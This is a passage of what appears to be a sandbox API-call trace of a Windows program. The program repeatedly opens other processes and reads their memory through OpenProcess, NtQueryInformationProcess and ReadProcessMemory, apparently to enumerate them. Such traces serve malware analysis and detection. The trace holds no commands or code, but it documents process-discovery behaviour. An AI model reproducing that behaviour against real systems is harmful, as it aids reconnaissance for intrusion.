hProcess=0x16c, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.101] malloc (_Size=0xd6) returned 0x20abc284e70 [0290.101] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc284e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0290.135] free (_Block=0x20abc284e70) [0290.135] CloseHandle (hObject=0x16c) returned 1 [0290.136] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0290.140] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="336") returned 3 [0290.141] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.141] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.158] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x16c [0290.158] GetLastError () returned 0x0 [0290.159] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.159] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.169] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.171] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.171] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.171] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.172] malloc (_Size=0xce) returned 0x20abc284e70 [0290.172] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc284e70, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0290.173] free (_Block=0x20abc284e70) [0290.173] CloseHandle (hObject=0x16c) returned 1 [0290.174] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0290.178] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2916") returned 4 [0290.179] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.179] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0290.192] CloseHandle (hObject=0x0) returned 0 [0290.192] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 0x0 [0290.196] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="464") returned 3 [0290.197] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.197] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x16c [0290.284] GetLastError () returned 0x0 [0290.285] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.286] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.286] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.286] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.286] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.288] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.290] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.290] malloc (_Size=0x7e) returned 0x20abc2aacc0 [0290.290] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc2aacc0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aacc0*, lpNumberOfBytesRead=0x0) returned 1 [0290.291] free (_Block=0x20abc2aacc0) [0290.292] CloseHandle (hObject=0x16c) returned 1 [0290.293] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0290.297] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3560") returned 4 [0290.298] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.298] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x16c [0290.314] GetLastError () returned 0x0 [0290.315] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.315] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.315] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.316] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.316] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.317] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.439] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.439] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.439] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.439] malloc (_Size=0x48) returned 0x20abc27cf80 [0290.440] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cf80, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0290.440] free (_Block=0x20abc27cf80) [0290.441] CloseHandle (hObject=0x16c) returned 1 [0290.441] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0290.446] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3576") returned 4 [0290.447] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.447] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.502] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x16c [0290.502] GetLastError () returned 0x0 [0290.503] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.503] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.504] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.504] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x371ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.504] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3718f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.506] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.507] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.507] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.508] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.508] malloc (_Size=0x6e) returned 0x20abc2831b0 [0290.508] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x37195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0290.509] free (_Block=0x20abc2831b0) [0290.509] CloseHandle (hObject=0x16c) returned 1 [0290.510] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0290.514] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3592") returned 4 [0290.515] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.515] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x16c [0290.561] GetLastError () returned 0x0 [0290.562] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.562] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.562] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.562] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.563] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.564] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.566] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.566] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.566] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.566] malloc (_Size=0x7a) returned 0x20abc2aaf00 [0290.566] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e196a, lpBuffer=0x20abc2aaf00, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaf00*, lpNumberOfBytesRead=0x0) returned 1 [0290.567] free (_Block=0x20abc2aaf00) [0290.569] CloseHandle (hObject=0x16c) returned 1 [0290.570] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0290.574] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3600") returned 4 [0290.575] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.575] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.591] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x16c [0290.591] GetLastError () returned 0x0 [0290.592] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc22fc240, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.595] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.596] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.596] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.596] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.597] malloc (_Size=0xa6) returned 0x20abc285680 [0290.597] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1996, lpBuffer=0x20abc285680, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285680*, lpNumberOfBytesRead=0x0) returned 1 [0290.597] free (_Block=0x20abc285680) [0290.598] CloseHandle (hObject=0x16c) returned 1 [0290.598] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0290.683] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3616") returned 4 [0290.684] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.684] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x16c [0290.700] GetLastError () returned 0x0 [0290.701] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.701] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.702] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.702] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461d50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.702] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4618f8, lpBuffer=0x2dc22fc240, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.703] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.705] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.705] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.705] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.705] malloc (_Size=0x94) returned 0x20abc2abd60 [0290.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461984, lpBuffer=0x20abc2abd60, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abd60*, lpNumberOfBytesRead=0x0) returned 1 [0290.706] free (_Block=0x20abc2abd60) [0290.707] CloseHandle (hObject=0x16c) returned 1 [0290.707] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0290.712] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3624") returned 4 [0290.713] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.713] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", 